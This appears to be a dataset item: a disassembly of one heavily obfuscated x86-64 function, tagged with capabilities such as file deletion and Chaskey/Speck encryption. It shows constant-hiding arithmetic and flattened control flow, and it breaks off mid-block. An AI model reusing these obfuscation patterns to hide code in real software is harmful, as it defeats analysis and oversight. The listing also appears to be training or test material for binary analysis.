Function at 0x1400dffba
Capabilities:
Delete file
Encrypt data using chaskey
Encrypt data using speck
Hash data using murmur3
Manually build aes constants

Disassembly:
push rax
pushf
mov eax, 0x85841e35
pushf
not eax
add eax, 0xc6ef9603
xor eax, 0x843b0722
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xe15c79d5
xor eax, 0x90eb8a0f
rol eax, 0xb
popf
cmp eax, 0x20
jne 0x1400dfff7
popf
pop rax
jmp 0x1400e2d36
cmp eax, 0
jne 0x1400e0006
popf
pop rax
jmp 0x1400e0213
cmp eax, 3
jne 0x1400e0015
popf
pop rax
jmp 0x1400e0a92
cmp eax, 1
jne 0x1400e0024
popf
pop rax
jmp 0x1400e034c
cmp eax, 0xd
jne 0x1400e0033
popf
pop rax
jmp 0x1400e20f8
cmp eax, 0x1a
jne 0x1400e0042
popf
pop rax
jmp 0x1400e28ed
cmp eax, 0xe
jne 0x1400e0051
popf
pop rax
jmp 0x1400e2187
cmp eax, 0xb
jne 0x1400e0060
popf
pop rax
jmp 0x1400e1fa3
cmp eax, 0x19
jne 0x1400e006f
popf
pop rax
jmp 0x1400e28b8
cmp eax, 8
jne 0x1400e007e
popf
pop rax
jmp 0x1400e18ed
cmp eax, 0x1d
jne 0x1400e008d
popf
pop rax
jmp 0x1400e2b6c
cmp eax, 0x17
jne 0x1400e009c
popf
pop rax
jmp 0x1400e268f
cmp eax, 0x1c
jne 0x1400e00ab
popf
pop rax
jmp 0x1400e2aed
cmp eax, 0x12
jne 0x1400e00ba
popf
pop rax
jmp 0x1400e23a9
cmp eax, 0x18
jne 0x1400e00c9
popf
pop rax
jmp 0x1400e2725
cmp eax, 0x11
jne 0x1400e00d8
popf
pop rax
jmp 0x1400e22a1
cmp eax, 0x1b
jne 0x1400e00e7
popf
pop rax
jmp 0x1400e2a2f
cmp eax, 0x21
jne 0x1400e00f6
popf
pop rax
jmp 0x1400e2dee
cmp eax, 0x23
jne 0x1400e0105
popf
pop rax
jmp 0x1400e2e97
cmp eax, 0x14
jne 0x1400e0114
popf
pop rax
jmp 0x1400e2516
cmp eax, 0xf
jne 0x1400e0123
popf
pop rax
jmp 0x1400e21d4
cmp eax, 0x13
jne 0x1400e0132
popf
pop rax
jmp 0x1400e2474
cmp eax, 0x15
jne 0x1400e0141
popf
pop rax
jmp 0x1400e2576
cmp eax, 0x24
jne 0x1400e0150
popf
pop rax
jmp 0x1400e2ecf
cmp eax, 0x1e
jne 0x1400e015f
popf
pop rax
jmp 0x1400e2bba
cmp eax, 0xc
jne 0x1400e016e
popf
pop rax
jmp 0x1400e2040
cmp eax, 7
jne 0x1400e017d
popf
pop rax
jmp 0x1400e1851
cmp eax, 5
jne 0x1400e018c
popf
pop rax
jmp 0x1400e1206
cmp eax, 0x1f
jne 0x1400e019b
popf
pop rax
jmp 0x1400e2c62
cmp eax, 0x10
jne 0x1400e01aa
popf
pop rax
jmp 0x1400e220c
cmp eax, 6
jne 0x1400e01b9
popf
pop rax
jmp 0x1400e127c
cmp eax, 9
jne 0x1400e01c8
popf
pop rax
jmp 0x1400e1ec1
cmp eax, 4
jne 0x1400e01d7
popf
pop rax
jmp 0x1400e0b41
cmp eax, 0x16
jne 0x1400e01e6
popf
pop rax
jmp 0x1400e25d4
cmp eax, 2
jne 0x1400e01f5
popf
pop rax
jmp 0x1400e0705
cmp eax, 0xa
jne 0x1400e0204
popf
pop rax
jmp 0x1400e1f57
cmp eax, 0x22
jne 0x1400e0213
popf
pop rax
jmp 0x1400e2e90
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x170]
sub rsp, 0x270
mov rax, qword [0x140092080]
xor rax, rsp
mov qword [rbp + 0x160], rax
mov rbx, rcx
movabs rsi, 0x216abe3bb5d71c0a
pushf
not rsi
add rsi, 0x54177fe1
xor rsi, 0x440870ae
rol rsi, 0
popf
pushf
not rsi
add rsi, 0x5ac88656
xor rsi, 0x602f198e
rol rsi, 0x96
popf
movabs rdi, 0x33abe0c960a5368f
pushf
not rdi
add rdi, 0x5c0359b1
xor rdi, 0x4a91afd9
rol rdi, 0x27
popf
pushf
not rdi
add rdi, 0x7ff396b6
xor rdi, 0x5993a8b6
rol rdi, 0xb1
popf
cmp byte [rcx + 0xa0], 1
je 0x1400e0306
push rax
pushf
mov eax, 0x772b2d17
pushf
not eax
add eax, 0xed33d461
xor eax, 0xe1cd372d
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xff6a551f
xor eax, 0x9b510f2d
rol eax, 0x13
popf
jmp 0x1400dffe8
push rax
pushf
mov eax, 0xd2922878
pushf
not eax
add eax, 0xa5fb583f
xor eax, 0x9b7f6063
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xf254a480
xor eax, 0xf8d17a1d
rol eax, 0xef
popf
pushf
not eax
add eax, 0x8f18251d
xor eax, 0xd636f439
rol eax, 0x6a
popf
jmp 0x1400dffe8
call fcn.1400eae78
movabs rcx, 0x556644879734053e
pushf
not rcx
add rcx, 0x75142eb4
xor rcx, 0x4fa7f9a4
rol rcx, 0xf8
popf
pushf
not rcx
add rcx, 0x6f6a16ec
xor rcx, 0x7b7d7706
rol rcx, 0x11
popf
pushf
not rcx
add rcx, 0x67ed5f16
xor rcx, 0x76d5fcb0
rol rcx, 0x9b
popf
movabs rdx, 0xebb37dce0d3c78eb
pushf
not rdx
add rdx, 0x76eae48f
xor rdx, 0x5daab8b5
rol rdx, 0xd
popf
pushf
not rdx
add rdx, 0x62da1560
xor rdx, 0x6c914c17
rol rdx, 0x52
popf
movabs r15, 0x7ff5913c74f0965c
pushf
not r15
add r15, 0x7d880f14
xor r15, 0x7fd34e1f
rol r15, 0xb6
popf
pushf
not r15
add r15, 0x66658649
xor r15, 0x4897d09e
rol r15, 0x2f
popf
pushf
not r15
add r15, 0x7d0743f9
xor r15, 0x53905a41
rol r15, 0x9e
popf
pushf
not r15
add r15, 0x415e5260
xor r15, 0x49c61841
rol r15, 0x88
popf
movabs r12, 0x584736c09702bfa8
pushf
not r12
add r12, 0x478d1ffc
xor r12, 0x44da76ad
rol r12, 0xad
popf
pushf
not r12
add r12, 0x6b96f0aa
xor r12, 0x7e4c15ed
rol r12, 0xa1
popf
pushf
not r12
add r12, 0x61234d5b
xor r12, 0x61b7efee
rol r12, 0
popf
movabs r13, 0x22137e41d7c56fc3
pushf
not r13
add r13, 0x76a69057
xor r13, 0x523cb25a
rol r13, 0x53
popf
pushf
not r13
add r13, 0x7a6ae6db
xor r13, 0x58eb8c85
rol r13, 0x1e
popf
movabs r14, 0x8ac9825fb1938f98
pushf
not r14
add r14, 0x7a0e2fc5
xor r14, 0x41667759
rol r14, 0x17
popf
pushf
not r14
add r14, 0x51aa12b3
xor r14, 0x5d42754c
rol r14, 0x73
popf
movabs r8, 0x1eeb46eaa12fcc87
pushf
not r8
add r8, 0x5e6e716c
xor r8, 0x7f4f3d79
rol r8, 0x2c
popf
pushf
not r8
add r8, 0x792ff75e
xor r8, 0x658047ca
rol r8, 0xd8
popf
movabs r9, 0x4a45575528f043d2
pushf
not r9
add r9, 0x47674866
xor r9, 0x71665e42
rol r9, 0xab
popf
pushf
not r9
add r9, 0x7fe93ad2
xor r9, 0x7738642d
rol r9, 0x61
popf
pushf
not r9
add r9, 0x5a5cd4c9
xor r9, 0x4e8a8b34
rol r9, 0x40
popf
pushf
not r9
add r9, 0x4a056292
xor r9, 0x410d0188
rol r9, 0xe3
popf
movabs r10, 0x746af027967f384b
pushf
not r10
add r10, 0x7ceb7329
xor r10, 0x4ad5e695
rol r10, 0x77
popf
pushf
not r10
add r10, 0x4e425fad
xor r10, 0x6105a458
rol r10, 0xda
popf
pushf
not r10
add r10, 0x419cf1e1
xor r10, 0x7c25e9ea
rol r10, 0x1a
popf
pushf
not r10
add r10, 0x449816a4
xor r10, 0x7bca5bf1
rol r10, 0x1b
popf
movabs r11, 0x9c06b3b703911914
pushf
not r11
add r11, 0x5305b0c6
xor r11, 0x6f699dcf
rol r11, 0xa
popf
pushf
not r11
add r11, 0x66106876
xor r11, 0x5c63e68c
rol r11, 0x41
popf
test al, al
jne 0x1400e06d2
push rax
pushf
mov eax, 0xaf080fde
pushf
not eax
add eax, 0xf4e7243f
xor eax, 0xe5f5867a
rol eax, 0x55
popf
pushf
not eax
add eax, 0x968d992a
xor eax, 0xdf7237bc
rol eax, 0x11
popf
pushf
not eax
add eax, 0x848f9d25
xor eax, 0x80ac3f9a
rol eax, 0xfe
popf
pushf
not eax
add eax, 0x8b12a638
xor eax, 0x9c4d7762
rol eax, 0x5d
popf
jmp 0x1400dffe8
push rax
pushf
mov eax, 0xeeea41cd
pushf
not eax
add eax, 0x969aa071
xor eax, 0xb813a0c3
rol eax, 0xde
popf
pushf
not eax
add eax, 0xc3954be6
xor eax, 0xbbac544d
rol eax, 0x95
popf
jmp 0x1400dffe8
mov qword [rbp + 0x90], r15
mov qword [rbp + 0x98], r12
mov qword [rbp + 0xa0], r13
mov qword [rbp + 0xa8], rcx
mov qword [rbp + 0xb0], rdx
movabs rax, 0x7f6a936bdba1aeaf
pushf
not rax
add rax, 0x4bde0f03
xor rax, 0x77b27a57
rol rax, 0xb7
popf
pushf
not rax
add rax, 0x4ebad5c2
xor rax, 0x6e8aa304
rol rax, 0x2c
popf
pushf
not rax
add rax, 0x4087c809
xor rax, 0x6780832f
rol rax, 0x36
popf
pushf
not rax
add rax, 0x645b4d12
xor rax, 0x7a5acb9a
rol rax, 0xaf
popf
mov qword [rbp + 0xb8], rax
movabs rax, 0xa3841ef6bc87d233
pushf
not rax
add rax, 0x59f5ce4b
xor rax, 0x4e695fe0
rol rax, 0xc3
popf
pushf
not rax
add rax, 0x7a0f06d1
xor rax, 0x6f2b1abd
rol rax, 0x2a
popf
pushf
not rax
add rax, 0x753a05e1
xor rax, 0x47389336
rol rax, 0x59
popf
mov qword [rbp + 0xc0], rax
movabs rax, 0xfa27b43b9755da4a
pushf
not rax
add rax, 0x60aa3bef
xor rax, 0x67cf89f5
rol rax, 0x8d
popf
pushf
not rax
add rax, 0x5cb3b3ce
xor rax, 0x4993c576
rol rax, 0x94
popf
mov qword [rbp + 0xc8], rax
movabs rax, 0x6a36d721bd22f725
pushf
not rax
add rax, 0x489a2c55
xor rax, 0x668289d6
rol rax, 0x76
popf
pushf
not rax
add rax, 0x678aa9c5
xor rax, 0x465ccf89
rol rax, 0x11
popf
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], r14
mov qword [rbp + 0xf0], rsi
mov qword [rbp + 0xf8], rdi
mov qword [rbp + 0x100], r8
mov qword [rbp + 0x108], r9
mov qword [rbp + 0x110], r10
mov qword [rbp + 0x118], r11
movabs rax, 0x63b4fab6a7983bdb
pushf
not rax
add rax, 0x49b7c416
xor rax, 0x791517db
rol rax, 0x54
popf
pushf
not rax
add rax, 0x59a1d114
xor rax, 0x449888a9
rol rax, 0x10
popf
pushf
not rax
add rax, 0x59652956
xor rax, 0x50ddec7c
rol rax, 0x33
popf
pushf
not rax
add rax, 0x53e5f191
xor rax, 0x62383fa8
rol rax, 0x6c
popf
mov qword [rbp + 0x120], rax
movabs rax, 0x4c0f3d15917a2ec7
pushf
not rax
add rax, 0x73096587
xor rax, 0x5d6f4ce1
rol rax, 0xd5
popf
pushf
not rax
add rax, 0x704dd72f
xor rax, 0x425d3108
rol rax, 0x80
popf
mov qword [rbp + 0x128], rax
movabs rax, 0x58ffee4ddf0f6091
pushf
not rax
add rax, 0x59162a49
xor rax, 0x5d03862f
rol rax, 0xdc
popf
pushf
not rax
add rax, 0x7a525451
xor rax, 0x415bf09b
rol rax, 0xc8
popf
pushf
not rax
add rax, 0x4548573d
xor rax, 0x68d557c3
rol rax, 0
popf
pushf
not rax
add rax, 0x48bd4fcd
xor rax, 0x5386f6b5
rol rax, 0x5f
popf
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], r14
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x90], xmm0
movdqa xmm1, xmmword [rbp + 0xa0]
xorps xmm1, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0xa0], xmm1
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0xb0], xmm0
movdqa xmm1, xmmword [rbp + 0xc0]
xorps xmm1, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0xc0], xmm1
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x130]
movdqa xmmword [rbp + 0xd0], xmm0
lea rcx, [rbp + 0x90]
call fcn.1400d383e
push rax
pushf
mov eax, 0x771768ae
pushf
not eax
add eax, 0xd605de8a
xor eax, 0xde2cc7c1
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xca6b4643
xor eax, 0x8cf3cba9
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xb2aef295
xor eax, 0x85514d12
rol eax, 0x50
popf
pushf
not eax
add eax, 0xa73203b9
xor eax, 0xeee4dd9c
rol eax, 0x28
popf
jmp 0x1400dffe8
mov rcx, rbx
call fcn.140102f68
test al, al
jne 0x1400e0afb
push rax
pushf
mov eax, 0xcd2af4dc
pushf
not eax
add eax, 0xfe748938
xor eax, 0xd75c25f9
rol eax, 0x19
popf
pushf
not eax
add eax, 0xb4a5e8bc
xor eax, 0xaec21811
rol eax, 0xeb
popf
pushf
not eax
add eax, 0x8739cb30
xor eax, 0xca08698d
rol eax, 0x59
popf
pushf
not eax
add eax, 0xf8cb18b7
xor eax, 0xb4090a8d
rol eax, 0x11
popf
jmp 0x1400dffe8
push rax
pushf
mov eax, 0x95cd0863
pushf
not eax
add eax, 0x8eb1c2c9
xor eax, 0x9e8ce6b2
rol eax, 0x64
popf
pushf
not eax
add eax, 0xa20597de
xor eax, 0xdcb69ac6
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xb600fa13
xor eax, 0xcbecbd18
rol eax, 0x42
popf
jmp 0x1400dffe8
mov qword [rbp + 0xf0], r15
mov qword [rbp + 0xf8], r12
mov qword [rbp + 0x100], r13
movabs rax, 0x83ddd62c3f11d3fc
pushf
not rax
add rax, 0x70867988
xor rax, 0x79ae0e72
rol rax, 0xdd
popf
pushf
not rax
add rax, 0x6e2f0bf7
xor rax, 0x58541d8f
rol rax, 0x53
popf
mov qword [rbp + 0x108], rax
movabs rax, 0x65f204e416cc6a39
pushf
not rax
add rax, 0x58503e50
xor rax, 0x6bfb274c
rol rax, 0xf3
popf
pushf
not rax
add rax, 0x7ce8fae8
xor rax, 0x408a6b70
rol rax, 0xd6
popf
pushf
not rax
add rax, 0x5c2551b3
xor rax, 0x48ba35ed
rol rax, 0x95
popf
pushf
not rax
add rax, 0x5794477e
xor rax, 0x71e0954c
rol rax, 0x84
popf
mov qword [rbp + 0x110], rax
movabs rax, 0x8f41a681045e9a18
pushf
not rax
add rax, 0x65251629
xor rax, 0x55352406
rol rax, 0xdb
popf
pushf
not rax
add rax, 0x6cd4ac89
xor rax, 0x651356c6
rol rax, 0x76
popf
pushf
not rax
add rax, 0x62366705
xor rax, 0x7f25f955
rol rax, 0x8f
popf
mov qword [rbp + 0x118], rax
movabs rax, 0xd0f27306ea2bd5e8
pushf
not rax
add rax, 0x73059212
xor rax, 0x617642c7
rol rax, 0x92
popf
pushf
not rax
add rax, 0x753f3d87
xor rax, 0x7631ea42
rol rax, 0xd5
popf
pushf
not rax
add rax, 0x6f9d0411
xor rax, 0x7f70f6e3
rol rax, 0x7e
popf
pushf
not rax
add rax, 0x4e70f650
xor rax, 0x6c24874a
rol rax, 0x4e
popf
mov qword [rbp + 0x120], rax
movabs rax, 0xb448a4e4f44a0f1d
pushf
not rax
add rax, 0x7a983b23
xor rax, 0x4bb99ef7
rol rax, 0xab
popf
pushf
not rax
add rax, 0x6e565546
xor rax, 0x6e1ec5b0
rol rax, 0x58
popf
mov qword [rbp + 0x128], rax
movabs rax, 0x78d53d918576cbf2
pushf
not rax
add rax, 0x53f6cba3
xor rax, 0x40d32cb3
rol rax, 0x12
popf
pushf
not rax
add rax, 0x56bca207
xor rax, 0x44d8a525
rol rax, 0x18
popf
pushf
not rax
add rax, 0x699b7bc1
xor rax, 0x73d9a85e
rol rax, 0xde
popf
pushf
not rax
add rax, 0x49d534c8
xor rax, 0x4416efa4
rol rax, 0xcd
popf
mov qword [rbp + 0x130], rax
movabs rax, 0x6aee4733f8184831
pushf
not rax
add rax, 0x4f734dea
xor rax, 0x43007872
rol rax, 0x1f
popf
pushf
not rax
add rax, 0x70cb09aa
xor rax, 0x7198a58f
rol rax, 0x14
popf
mov qword [rbp + 0x138], rax
movabs rax, 0xb2e0184fba394cf8
pushf
not rax
add rax, 0x57f9e524
xor rax, 0x75e21393
rol rax, 0x8c
popf
pushf
not rax
add rax, 0x54c0803c
xor rax, 0x4e737b95
rol rax, 0x89
popf
mov qword [rbp + 0x140], rax
movabs rcx, 0xef8d78ab078c72dd
pushf
not rcx
add rcx, 0x69d7352e
xor rcx, 0x66c3e51a
rol rcx, 0xf2
popf
pushf
not rcx
add rcx, 0x7dabd369
xor rcx, 0x61a8d23a
rol rcx, 0xb5
popf
pushf
not rcx
add rcx, 0x7aff84fa
xor rcx, 0x585a0326
rol rcx, 0xc5
popf
mov qword [rbp + 0x148], rcx
mov qword [rbp + 0x90], rsi
mov qword [rbp + 0x98], rdi
movabs rax, 0x37e34f0d1b451d79
pushf
not rax
add rax, 0x657505ca
xor rax, 0x7e36c6bd
rol rax, 0x86
popf
pushf
not rax
add rax, 0x6730090d
xor rax, 0x5b265acd
rol rax, 0xd5
popf
pushf
not rax
add rax, 0x68903e0e
xor rax, 0x5dea5066
rol rax, 0xd6
popf
mov qword [rbp + 0xa0], rax
movabs rax, 0xb67a1a8a26324090
pushf
not rax
add rax, 0x5732f639
xor rax, 0x5c33587e
rol rax, 0x44
popf
pushf
not rax
add rax, 0x41073d95
xor rax, 0x7ceb7977
rol rax, 0x8d
popf
pushf
not rax
add rax, 0x4e946b1c
xor rax, 0x4e414dbc
rol rax, 0xe9
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0x93f678585c6e8228
pushf
not rax
add rax, 0x6d376afe
xor rax, 0x676f5ef4
rol rax, 0x76
popf
pushf
not rax
add rax, 0x7901e7ce
xor rax, 0x57cc5d19
rol rax, 0x3a
popf
mov qword [rbp + 0xb0], rax
movabs rax, 0xfb272e59448e49ad
pushf
not rax
add rax, 0x5d1c119e
xor rax, 0x631990a4
rol rax, 0x46
popf
pushf
not rax
add rax, 0x7c9ea069
xor rax, 0x5ab10b1d
rol rax, 0x82
popf
pushf
not rax
add rax, 0x69cbd48b
xor rax, 0x78adf3f7
rol rax, 0x57
popf
pushf
not rax
add rax, 0x49031878
xor rax, 0x61261ea9
rol rax, 0x44
popf
mov qword [rbp + 0xb8], rax
movabs rax, 0x827ab12e9d2963d0
pushf
not rax
add rax, 0x42e2668f
xor rax, 0x46d57af4
rol rax, 0x3f
popf
pushf
not rax
add rax, 0x42ca903e
xor rax, 0x79ec2a21
rol rax, 0x65
popf
mov qword [rbp + 0xc0], rax
movabs rax, 0x20f0b1406cb4860c
pushf
not rax
add rax, 0x61cc7265
xor rax, 0x491730e4
rol rax, 0x99
popf
pushf
not rax
add rax, 0x7c65173a
xor rax, 0x61b2fa38
rol rax, 0x4a
popf
pushf
not rax
add rax, 0x421185f8
xor rax, 0x73d5c94a
rol rax, 0xd9
popf
pushf
not rax
add rax, 0x632d1d37
xor rax, 0x796aa7d8
rol rax, 0xf2
popf
mov qword [rbp + 0xc8], rax
movabs rax, 0x8540b17aa0a350ca
pushf
not rax
add rax, 0x5e1fa0f9
xor rax, 0x615f68fc
rol rax, 0x66
popf
pushf
not rax
add rax, 0x70101655
xor rax, 0x47044a7c
rol rax, 0x6f
popf
pushf
not rax
add rax, 0x75931d0f
xor rax, 0x7a46eb86
rol rax, 0x6d
popf
pushf
not rax
add rax, 0x66a25bb2
xor rax, 0x47bed14e
rol rax, 0x71
popf
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], r14
movabs rax, 0xfe090996d2a604d2
pushf
not rax
add rax, 0x63376362
xor rax, 0x4e32a971
rol rax, 0xf9
popf
pushf
not rax
add rax, 0x6ca875c9
xor rax, 0x5d12a407
rol rax, 0x17
popf
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rcx
movdqa xmm0, xmmword [rbp + 0xf0]
xorps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0xf0], xmm0
movdqa xmm1, xmmword [rbp + 0x100]
xorps xmm1, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x100], xmm1
movdqa xmm0, xmmword [rbp + 0x110]
xorps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x110], xmm0
movdqa xmm1, xmmword [rbp + 0x120]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0x120], xmm1
movdqa xmm0, xmmword [rbp + 0x130]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x130], xmm0
movdqa xmm1, xmmword [rbp + 0x140]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x140], xmm1
lea rcx, [rbp + 0xf0]
call fcn.1400d383e
push rax
pushf
mov eax, 0xc0502d5
pushf
not eax
add eax, 0xef452605
xor eax, 0x8910b7b0
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xe65c1787
xor eax, 0xefacfb31
rol eax, 0x7f
popf
pushf
not eax
add eax, 0x9f8a478d
xor eax, 0x984e7a9b
rol eax, 0xe9
popf
pushf
not eax
add eax, 0x9c237307
xor eax, 0xa87b01fc
rol eax, 0xed
popf
jmp 0x1400dffe8
mov rcx, rbx
call fcn.1400b747a
test al, al
jne 0x1400e1249
push rax
pushf
mov eax, 0x347051b3
pushf
not eax
add eax, 0x805692cb
xor eax, 0xab123dc3
rol eax, 0x41
popf
pushf
not eax
add eax, 0xa6a95bd8
xor eax, 0xe4c06236
rol eax, 0x1e
popf
jmp 0x1400dffe8
push rax
pushf
mov eax, 0x839ed01
pushf
not eax
add eax, 0xd1934f55
xor eax, 0x85f0f06b
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xf80099fe
xor eax, 0xab6ed7e8
rol eax, 0xbc
popf
jmp 0x1400dffe8
mov qword [rbp + 0x90], r15
mov qword [rbp + 0x98], r12
mov qword [rbp + 0xa0], r13
movabs rax, 0xf59bcdd00abd7419
pushf
not rax
add rax, 0x5bb0578b
xor rax, 0x75a56d24
rol rax, 0x92
popf
pushf
not rax
add rax, 0x4837de38
xor rax, 0x506c002c
rol rax, 0x66
popf
pushf
not rax
add rax, 0x43aa3275
xor rax, 0x71861606
rol rax, 0xd3
popf
pushf
not rax
add rax, 0x706a4fd1
xor rax, 0x46e12592
rol rax, 0xf7
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0x6516fb9c4083a2bc
pushf
not rax
add rax, 0x4f24fa5b
xor rax, 0x66c3d4d1
rol rax, 0x89
popf
pushf
not rax
add rax, 0x71b2b6e6
xor rax, 0x5830d468
rol rax, 0x15
popf
mov qword [rbp + 0xb0], rax
movabs rax, 0xde73dfed80b0c106
pushf
not rax
add rax, 0x51d21aef
xor rax, 0x67bf0be8
rol rax, 0xa
popf
pushf
not rax
add rax, 0x7ea751bf
xor rax, 0x5e35fc1c
rol rax, 0xeb
popf
pushf
not rax
add rax, 0x50177a06
xor rax, 0x74233bc7
rol rax, 0x6a
popf
mov qword [rbp + 0xb8], rax
movabs rax, 0xbc4864737e08d29d
pushf
not rax
add rax, 0x7667fc84
xor rax, 0x60c847ef
rol rax, 0x6a
popf
pushf
not rax
add rax, 0x7ddc0c58
xor rax, 0x492428f1
rol rax, 0xa
popf
mov qword [rbp + 0xc0], rax
movabs rax, 0x476b0665a62024bf
pushf
not rax
add rax, 0x54f81ae4
xor rax, 0x6c3b28e1
rol rax, 0x7b
popf
pushf
not rax
add rax, 0x61b79b68
xor rax, 0x73e5e628
rol rax, 0xa3
popf
pushf
not rax
add rax, 0x4202dc1f
xor rax, 0x6a9b3d4b
rol rax, 0x89
popf
mov qword [rbp + 0xc8], rax
movabs rax, 0xa383346f65e76ecd
pushf
not rax
add rax, 0x46c6d00f
xor rax, 0x5d9a1979
rol rax, 0xb4
popf
pushf
not rax
add rax, 0x5f8d53e1
xor rax, 0x473032bb
rol rax, 0x64
popf
mov qword [rbp + 0xd0], rax
movabs rax, 0xe8b82e2fcf572290
pushf
not rax
add rax, 0x4f599608
xor rax, 0x52840f2b
rol rax, 0x3f
popf
pushf
not rax
add rax, 0x5b61a4a3
xor rax, 0x5a138a1c
rol rax, 0x4a
popf
pushf
not rax
add rax, 0x5351eb8a
xor rax, 0x6a28fe83
rol rax, 0xae
popf
pushf
not rax
add rax, 0x7dd0b048
xor rax, 0x48c05920
rol rax, 0x4c
popf
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xf0], rsi
mov qword [rbp + 0xf8], rdi
movabs rax, 0x73491a3357190742
pushf
not rax
add rax, 0x49d2ca2a
xor rax, 0x44926b66
rol rax, 0xef
popf
pushf
not rax
add rax, 0x5a6166aa
xor rax, 0x54fd18a5
rol rax, 0xfc
popf
pushf
not rax
add rax, 0x7eb4d25f
xor rax, 0x5402d3e2
rol rax, 0x8a
popf
pushf
not rax
add rax, 0x54ae3f53
xor rax, 0x44d79670
rol rax, 0x24
popf
mov qword [rbp + 0x100], rax
movabs rax, 0x5b76c8e87c37cabf
pushf
not rax
add rax, 0x5d7b4430
xor rax, 0x67e11a8f
rol rax, 0x9b
popf
pushf
not rax
add rax, 0x5752e230
xor rax, 0x6e86a2fc
rol rax, 0x7c
popf
pushf
not rax
add rax, 0x50e39033
xor rax, 0x6fef35c4
rol rax, 0xa
popf
pushf
not rax
add rax, 0x60666314
xor rax, 0x6ecba502
rol rax, 0xeb
popf
mov qword [rbp + 0x108], rax
movabs rax, 0x3c3ce2f0c34aa06c
pushf
not rax
add rax, 0x6e2687bc
xor rax, 0x59b8369b
rol rax, 0xac
popf
pushf
not rax
add rax, 0x747f9324
xor rax, 0x41ca2d6e
rol rax, 0x1f
popf
pushf
not rax
add rax, 0x476bb4a4
xor rax, 0x686b4c50
rol rax, 0x86
popf
pushf
not rax
add rax, 0x554d12f2
xor rax, 0x4ad510bd
rol rax, 0xdb
popf
mov qword [rbp + 0x110], rax
movabs rax, 0x1dd41df3f1909e67
pushf
not rax
add rax, 0x777c0a45
xor rax, 0x5598ab92
rol rax, 0x53
popf
pushf
not rax
add rax, 0x556c179d
xor rax, 0x5bbff9b1
rol rax, 0x24
popf
pushf
not rax
add rax, 0x77aad635
xor rax, 0x5a934342
rol rax, 0x97
popf
pushf
not rax
add rax, 0x5bd3f863
xor rax, 0x725aa552
rol rax, 0xfa
popf
mov qword [rbp + 0x118], rax
movabs rax, 0x1816f189e60bd8c0
pushf
not rax
add rax, 0x69b0a07d
xor rax, 0x5a390a4c
rol rax, 0xb7
popf
pushf
not rax
add rax, 0x7694a34a
xor rax, 0x4590bcb4
rol rax, 0x2c
popf
pushf
not rax
add rax, 0x592b3b6b
xor rax, 0x7befb0aa
rol rax, 0x11
popf
mov qword [rbp + 0x120], rax
movabs rax, 0x742f5c69559538d
pushf
not rax
add rax, 0x5b76cea8
xor rax, 0x66282bbf
rol rax, 0xfa
popf
pushf
not rax
add rax, 0x66324df5
xor rax, 0x7ba01e98
rol rax, 0xad
popf
pushf
not rax
add rax, 0x6b9f094b
xor rax, 0x7ed429f6
rol rax, 0x40
popf
pushf
not rax
add rax, 0x5f4d0cde
xor rax, 0x7e0807e1
rol rax, 0xa3
popf
mov qword [rbp + 0x128], rax
movabs rax, 0xc6e04be5370f2cee
pushf
not rax
add rax, 0x6224a047
xor rax, 0x4a46961f
rol rax, 0xa3
popf
pushf
not rax
add rax, 0x4fbc0c1c
xor rax, 0x5f0abbf1
rol rax, 0x1a
popf
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], r14
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x90], xmm0
movdqa xmm1, xmmword [rbp + 0xa0]
xorps xmm1, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0xa0], xmm1
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0xb0], xmm0
movdqa xmm1, xmmword [rbp + 0xc0]
xorps xmm1, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0xc0], xmm1
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x130]
movdqa xmmword [rbp + 0xd0], xmm0
lea rcx, [rbp + 0x90]
call fcn.1400d383e
push rax
pushf
mov eax, 0xd0afd930
pushf
not eax
add eax, 0xe75dae74
xor eax, 0x9d55c7d4
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xc03d7629
xor eax, 0xfa416d1d
rol eax, 0x1a
popf
jmp 0x1400dffe8
mov rcx, rbx
call fcn.1400fdf4b
test al, al
jne 0x1400e18ba
push rax
pushf
mov eax, 0x4bd27b04
pushf
not eax
add eax, 0xa76f3cee
xor eax, 0xb144d6eb
rol eax, 0x88
popf
pushf
not eax
add eax, 0xa6579b0d
xor eax, 0xdd5d613d
rol eax, 0xad
popf
pushf
not eax
add eax, 0xc9659510
xor eax, 0xbeacf2d6
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xf08fe142
xor eax, 0xd1e2a5f9
